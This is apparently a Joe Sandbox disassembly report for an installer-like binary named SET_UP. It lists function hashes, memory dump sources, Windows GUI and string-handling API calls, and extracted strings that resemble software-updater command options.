Opcode ID: 327e488288ea0e85f278a1f613c6c5f0c4b285bc9f163f16815c2d8208451692
Instruction ID: 44e3bae3448104956472a1c585914e8c9f99f55aa0d52693ae967bec2bcfc839
Opcode Fuzzy Hash: 327e488288ea0e85f278a1f613c6c5f0c4b285bc9f163f16815c2d8208451692
Instruction Fuzzy Hash: 74729371A00209EFDB10DFA8CC44BAEBBF8FF06324F148259E915E7292DB759905DB91

Function 0007E800 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c6c1c17aef61561672424438d526ab521a4a16f44aed3c3b9dbc76462e73989
Instruction ID: b41e0cd8109818d5015ad67a66b13a1571cc744d98d46e02552c394550e6608b
Opcode Fuzzy Hash: 6c6c1c17aef61561672424438d526ab521a4a16f44aed3c3b9dbc76462e73989
Instruction Fuzzy Hash: 4522B4B3B547144BD74CCE1DCCA23A9B2D3ABD4218F0E853DB48AC3341EA7DD9198685

Function 00104B60 Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9be02bffec3a8fa8c1730f80c58b0049d33784eae41a7b8430a28977cd93548
Instruction ID: 739f30e501ccdf94cd1e997a1cbd166f2e8553962745ffdd6ec47ff96d8577c2
Opcode Fuzzy Hash: f9be02bffec3a8fa8c1730f80c58b0049d33784eae41a7b8430a28977cd93548
Instruction Fuzzy Hash: BF322631D29F014ED7279634C83233A628DAFB73C4F55D727E85AB5EAAEB6984C34500

Function 000FAA09 Relevance: .6, Instructions: 636COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e01e81cfe1f5f3f71e33eb8c76bdad236bf5ca52d9459b1a675f0f300c00fa0
Instruction ID: 58d27452a3045f0fdcd306e785d7b0553e914a9bb738e130c4d6b082de8b7b0a
Opcode Fuzzy Hash: 7e01e81cfe1f5f3f71e33eb8c76bdad236bf5ca52d9459b1a675f0f300c00fa0
Instruction Fuzzy Hash: 40321322E29F455DD7339634C822336A289AFB73D5F15D727F829B5EA6EB28C4C35100

Function 000FE5CE Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLastProcess_free$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 4283097504-0
Opcode ID: ebec85bdc9d3605d465a38392c5f427b7632e7251394f8adf8acc6990e2b3f2c
Instruction ID: 698be32ac29e16f25cf6032d7655ca5ed447ea2b8aef8dc12d16eb893598c116
Opcode Fuzzy Hash: ebec85bdc9d3605d465a38392c5f427b7632e7251394f8adf8acc6990e2b3f2c
Instruction Fuzzy Hash: 2BB129355007899BCB38AB24CC82AFBB3E9EF54308F54442DEB47D6991EB74A942D710

Function 00076B0C Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 783f791463f0ec46c205449cb68050cd0d412eb30d1c9248805117c9f8a10662
Instruction ID: a6e50c2343c25bc0e7f3787743368d9e48f8b9c5be617d84aedccb9c4b9f9243
Opcode Fuzzy Hash: 783f791463f0ec46c205449cb68050cd0d412eb30d1c9248805117c9f8a10662
Instruction Fuzzy Hash: 8EA1037E81D3118FC708EF7AECC60AA3762FB863043929629D54697D76CF34D5C28A85

Function 00077410 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ff13a37672f2da6dfff04441752fa2302abbbc11967c84381f1d307db12c81
Instruction ID: 58c5fba64e1bb6260b76e5a0ebf366e75792e40ce0698b9ea6057625f5e392c6
Opcode Fuzzy Hash: 31ff13a37672f2da6dfff04441752fa2302abbbc11967c84381f1d307db12c81
Instruction Fuzzy Hash: 7CA1137A91D3208FD708EFB9ECC659A3262FBC7314345C22A950297D7BDB7491828A91

Function 00076C20 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0201a7a6c4e607e04f2710ce061c3193574c86181fff799a359f7ae010ba16f7
Instruction ID: 91166b57f52ac5be83686a6be9705128b5cbca8353eeeaf3cd80a6ee2a8226cc
Opcode Fuzzy Hash: 0201a7a6c4e607e04f2710ce061c3193574c86181fff799a359f7ae010ba16f7
Instruction Fuzzy Hash: 3F81047E81D3008FC748EFB6ECC61AA3762FB963143929629D44697D36CF34D5828A85

Function 0008CF30 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbaa37dd4ddf95af31ed9b978ca3cd2224577da6fa89936adfc7334f818c507
Instruction ID: 9e07b7e0c846c7ab76d2ac388cb16deecb3594ee6aae1b9e72f843fa7dca0882
Opcode Fuzzy Hash: 2fbaa37dd4ddf95af31ed9b978ca3cd2224577da6fa89936adfc7334f818c507
Instruction Fuzzy Hash: 06514C7A9083148FC708EF79EDD62A97761FB82310781422DD84A97A77CF389585CB86

Function 00078060 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600d85508d81326c21bab70ef4e86dc6c7dfe4120632e1f7e61f649826db30d8
Instruction ID: cf3e71ff6d3258c9d777271bff70f369a57514343cdd28037b31c71b2f96b385
Opcode Fuzzy Hash: 600d85508d81326c21bab70ef4e86dc6c7dfe4120632e1f7e61f649826db30d8
Instruction Fuzzy Hash: B431227B94D3304B874DDB39ACD20693662F3C6324752D12ED4169BDBADF3484838AC1

Function 0010246F Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2fc6b7d6198a71daed5b9f55c08363fd439a47481e22234d78cf673afce33a0
Instruction ID: d1faa4a2986f24a8d4cdb94621c264bcb1c54d55555be266667e89d17e71bdc1
Opcode Fuzzy Hash: d2fc6b7d6198a71daed5b9f55c08363fd439a47481e22234d78cf673afce33a0
Instruction Fuzzy Hash: 0F21B373F205394B7B0CC47ECC572BDB6E1C78C641745823AE8A6EA2C1D968D917E2E4

Function 0010234F Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5287670beb4034acd8202663429f79bab3223827bc83603624f4a0519f4b1822
Instruction ID: d54c006ce90a7af01617e8f292286b4883032c93bafdce555dc9c3046187a3f4
Opcode Fuzzy Hash: 5287670beb4034acd8202663429f79bab3223827bc83603624f4a0519f4b1822
Instruction Fuzzy Hash: 5A11A733F30C255B675C81698C1727A91D2EBD824030F433AD866EB2C4E9A4DE13D290

Function 000FC138 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3845579a3361e512690be8b7210623b685cfac009ad35ea4fbda4879fa80cc6d
Instruction ID: 195757429a0d5ddd9a479017cfd0f8cc563c938bb33420f4eb24d702c1532219
Opcode Fuzzy Hash: 3845579a3361e512690be8b7210623b685cfac009ad35ea4fbda4879fa80cc6d
Instruction Fuzzy Hash: 01E04632A1122CEBCB24DB888A05D9AB2ECFB45F00B11409AB601D3512C270DE10E7D0

Function 000AC020 Relevance: 40.5, APIs: 2, Strings: 21, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

startappfirst, xrefs: 000AD192
NoGUI, xrefs: 000AD20E
/install, xrefs: 000AD3C6, 000AD3D6
LastModified, xrefs: 000ACD2E, 000ACD3E, 000ACE88, 000ACE98
wininet.dll, xrefs: 000AC21C
checknow, xrefs: 000AD351, 000AD361
true, xrefs: 000AD02F, 000AD03F, 000AD0AB, 000AD0BB, 000AD16D, 000AD17D, 000AD1E9, 000AD1F9, 000AD265, 000AD275, 000AD2E1, 000AD2F1
MD5, xrefs: 000AC076
restartapp, xrefs: 000AD121
ForceMSIBasicUI, xrefs: 000AD306
StartMinimized, xrefs: 000AD0D0
silentall, xrefs: 000AD38A
ReducedGUI, xrefs: 000AD28A
0x%X, xrefs: 000AC16D
restartappcmd, xrefs: 000AD136
silentcritical, xrefs: 000AD398
ServerConfigPath, xrefs: 000ACFF5
SHA256, xrefs: 000AC0B5
silent, xrefs: 000AD37C
URL, xrefs: 000AD10C
JustDownloadUpdates, xrefs: 000AD054

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: /install$0x%X$ForceMSIBasicUI$JustDownloadUpdates$LastModified$MD5$NoGUI$ReducedGUI$SHA256$ServerConfigPath$StartMinimized$URL$checknow$restartapp$restartappcmd$silent$silentall$silentcritical$startappfirst$true$wininet.dll
API String ID: 0-1962430728
Opcode ID: d55390d9319ea04efc411b00c6e4aadfc7e09ed370290c32475b7de0cc8ac6f1
Instruction ID: 95a870ae1aa03c1133f032fd4832ccdc87d0c9223acea8a0bf6e6c9dbd525034
Opcode Fuzzy Hash: d55390d9319ea04efc411b00c6e4aadfc7e09ed370290c32475b7de0cc8ac6f1
Instruction Fuzzy Hash: 0081B271A00609DBEB04CFE8D845BAEF7B5FF86324F14C269E415A7292EB359D41CB90

Function 00088B80 Relevance: 37.7, APIs: 25, Instructions: 240
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClientRect.USER32(00000000,?), ref: 00088C2A
SetBkMode.GDI32(?,00000001), ref: 00088C35
SelectObject.GDI32(?,?), ref: 00088C47
DrawTextW.USER32(?,00000000,00000000,?,00000001), ref: 00088C6F
IsWindowEnabled.USER32(00000000), ref: 00088C78
SetTextColor.GDI32(?,00000000), ref: 00088C9E
SelectObject.GDI32(?,?), ref: 00088CC7
DrawTextW.USER32(?,00000000,00000000,?,?), ref: 00088CD9
SetTextColor.GDI32(?,00000000), ref: 00088CE5
SelectObject.GDI32(?,?), ref: 00088CF1
DrawTextW.USER32(?,00000000,00000000,?,?), ref: 00088D20
GetFocus.USER32 ref: 00088D26
DrawFocusRect.USER32(?,?), ref: 00088D38
SetBkMode.GDI32(?,00000001), ref: 00088D4B
IsWindowEnabled.USER32(00000000), ref: 00088D54
SetTextColor.GDI32(?,00000000), ref: 00088D7A
SelectObject.GDI32(?,?), ref: 00088DA9
GetWindowLongW.USER32(00000000,000000F0), ref: 00088DC3
DrawTextW.USER32(?,?,000000FF,?,00000000), ref: 00088DFE
GetFocus.USER32 ref: 00088E04
DrawFocusRect.USER32(?,?), ref: 00088E16
SetTextColor.GDI32(?,?), ref: 00088E22
SelectObject.GDI32(?,?), ref: 00088E2E

Part of subcall function 000898A0: lstrlenW.KERNEL32(?,?,?,?,?,00088C1C,00000000,00000000,00000000,?,0CE81EE3,?), ref: 000898EB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Text$Draw$ObjectSelect$ColorFocus$RectWindow$EnabledMode$ClientLonglstrlen
String ID:
API String ID: 3266203255-0
Opcode ID: ad12239546ac1066e18e4766aa95ba1f212a8361cdac27f45922be0922f7bdca
Instruction ID: b383a8e9e8e859766df8b227898c06dc5e480b0271a782629f104f1425389879
Opcode Fuzzy Hash: ad12239546ac1066e18e4766aa95ba1f212a8361cdac27f45922be0922f7bdca
Instruction Fuzzy Hash: EDA14B71904608EFDB25AF94DE44AAEFBF5FF08300F548119F946A6AA0DB71AC80CF50

Function 000B2FD0 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 253windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000BECF0: CreateThread.KERNEL32(00000000,00000000,000BF2D0,?,00000000,75C08FAC), ref: 000BED0D
Part of subcall function 000BECF0: CreateThread.KERNEL32(00000000,00000000,000BF2D0,FFFFFFFF,00000000,?), ref: 000BED3A

GetParent.USER32(?), ref: 000B3007

Part of subcall function 000A0920: GetWindowLongW.USER32(428D0824,000000F0), ref: 000A0967
Part of subcall function 000A0920: GetParent.USER32 ref: 000A097D
Part of subcall function 000A0920: GetWindowRect.USER32(428D0824,?), ref: 000A0988
Part of subcall function 000A0920: GetParent.USER32(428D0824), ref: 000A0990
Part of subcall function 000A0920: GetClientRect.USER32(00000000,?), ref: 000A099F
Part of subcall function 000A0920: GetClientRect.USER32(?,?), ref: 000A09A8
Part of subcall function 000A0920: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 000A09B4

Part of subcall function 000B3670: GetParent.USER32(?), ref: 000B36C9
Part of subcall function 000B3670: SendMessageW.USER32(00000000,00000478,00000000,?), ref: 000B36D9

GetSystemMetrics.USER32(00000000), ref: 000B3084
GetSystemMetrics.USER32(00000001), ref: 000B308C
SetLastError.KERNEL32(0000000E), ref: 000B3104
CreateWindowExW.USER32(00000000,?,00000000,5600880D,80000000,80000000,00000000,00000000,?,?,00000000,?), ref: 000B3162
SendMessageW.USER32(?,00001036,00000000,00000024), ref: 000B317D
GetSystemMetrics.USER32(00000000), ref: 000B318E
GetSystemMetrics.USER32(00000001), ref: 000B3196
SendMessageW.USER32(?,000000CB,00000003,00000000), ref: 000B31F9
SendMessageW.USER32(?,0000043B,00000000,00000000), ref: 000B320A
SendMessageW.USER32(?,00000445,00000000,00000000), ref: 000B321F
SendMessageW.USER32(?,0000045B,00000000,00000000), ref: 000B3230
GetSystemMetrics.USER32(00000000), ref: 000B324A
GetSystemMetrics.USER32(00000001), ref: 000B3252
GetSystemMetrics.USER32(00000000), ref: 000B32C0
GetSystemMetrics.USER32(00000001), ref: 000B32C6
IsWindowVisible.USER32(?), ref: 000B32ED
ShowWindow.USER32(?,00000005), ref: 000B3302
ShowWindow.USER32(?,00000000), ref: 000B3309

Part of subcall function 000B54F0: InvalidateRect.USER32(?,?,00000001,?,?,?), ref: 000B554C
Part of subcall function 000B54F0: SetWindowPos.USER32(00000000,00000000,?,00000000,?,?,00000004,00000000,?,?,?,?), ref: 000B559F

Strings

SysListView32, xrefs: 000B30BF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MetricsSystemWindow$MessageSend$ParentRect$Create$ClientShowThread$ErrorInvalidateLastLongPointsVisible
String ID: SysListView32
API String ID: 1650097198-78025650
Opcode ID: 8e69e5628351a8960c0e023efa4e37006fc910a793629c176045f23da8c6c37e
Instruction ID: 9b0121c4136a73735aaa10880ab7644cbcee2ede1866639e9621b91ee29c0b79
Opcode Fuzzy Hash: 8e69e5628351a8960c0e023efa4e37006fc910a793629c176045f23da8c6c37e
Instruction Fuzzy Hash: 3AA15D30240300AFEB149F24CD96BDA7BA5FF45704F148479ED49AF6A2DB71E944CBA1

Function 000D9460 Relevance: 33.6, APIs: 16, Strings: 3, Instructions: 365memorystringCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32(?,0CE81EE3,00000000,00000000), ref: 000D94E9
CharNextW.USER32(?,00000000), ref: 000D956E
CharNextW.USER32(00000000,?,00000000), ref: 000D9573
CharNextW.USER32(00000000,?,00000000), ref: 000D9578
CharNextW.USER32(00000000,?,00000000), ref: 000D957D
CharNextW.USER32(00000000,?,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D95CC
CharNextW.USER32(?,?,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D95E1
CharNextW.USER32(00000000,}},00000009,?,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D965E
CharNextW.USER32(00000000,?,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D969C
EnterCriticalSection.KERNEL32(-00000005,00000001,0CE81EE3,00000000,00000000), ref: 000D96EC
lstrcmpiW.KERNEL32(0000000B,?), ref: 000D970A
LeaveCriticalSection.KERNEL32(?), ref: 000D9720
LeaveCriticalSection.KERNEL32(?), ref: 000D9752
CharNextW.USER32(?,?,?), ref: 000D97A2

Part of subcall function 000D93B0: CoTaskMemRealloc.OLE32(?,?,00000000,?,000D97B7,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D93FC

CharNextW.USER32(?,00000000,00000001,0CE81EE3,00000000,00000000), ref: 000D97C7
CoTaskMemFree.OLE32(00000000,0CE81EE3,00000000,00000000), ref: 000D9811

Strings

}}, xrefs: 000D9631
HKCR, xrefs: 000D954F
HKCU{Software{Classes, xrefs: 000D958D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CharNext$CriticalSectionTask$Leave$AllocEnterFreeRealloclstrcmpi
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 2134173948-1142484189
Opcode ID: 11f75689eaf2495e2a4327bb1e61bdee9533b2c66192085f42f60c71017898e3
Instruction ID: 0c06a4b7390d9b8a17aa0a4af9670036db48b0aa323f5bb2fde3b6bf04f793c6
Opcode Fuzzy Hash: 11f75689eaf2495e2a4327bb1e61bdee9533b2c66192085f42f60c71017898e3
Instruction Fuzzy Hash: 98D1EE30908345DFDF258FA8C984BAEBBF4EF05700F14416AE805EB399EB759944CBA1

Function 000E2E90 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 349windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000F0), ref: 000E2EBD
GetWindowLongW.USER32(00000000,000000F0), ref: 000E2ED2
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 000E2EE9

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

GetWindowLongW.USER32(00000000,000000EC), ref: 000E2F02
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 000E2F16
SendMessageW.USER32(00000000,0000007F,00000000,00000000), ref: 000E2F24
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 000E2F37
IsWindow.USER32(00000000), ref: 000E2F52
DestroyWindow.USER32(00000000), ref: 000E2F6E
GetClientRect.USER32(?,?), ref: 000E2FC6
IsWindow.USER32(00000000), ref: 000E3007
CreateWindowExW.USER32(00000000,SCROLLBAR,00000000,5402001C,?,?,?,?,?,0000E801,00000000), ref: 000E304C
IsWindow.USER32(00000000), ref: 000E3055
GetClientRect.USER32(?,?), ref: 000E30E3
SendMessageW.USER32(?,00000467,00000001,?), ref: 000E328B
SendMessageW.USER32(?,0000046A,00000000,?), ref: 000E32AE
SendMessageW.USER32(?,0000046A,00000001,?), ref: 000E32C7

Strings

SCROLLBAR, xrefs: 000E3045

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

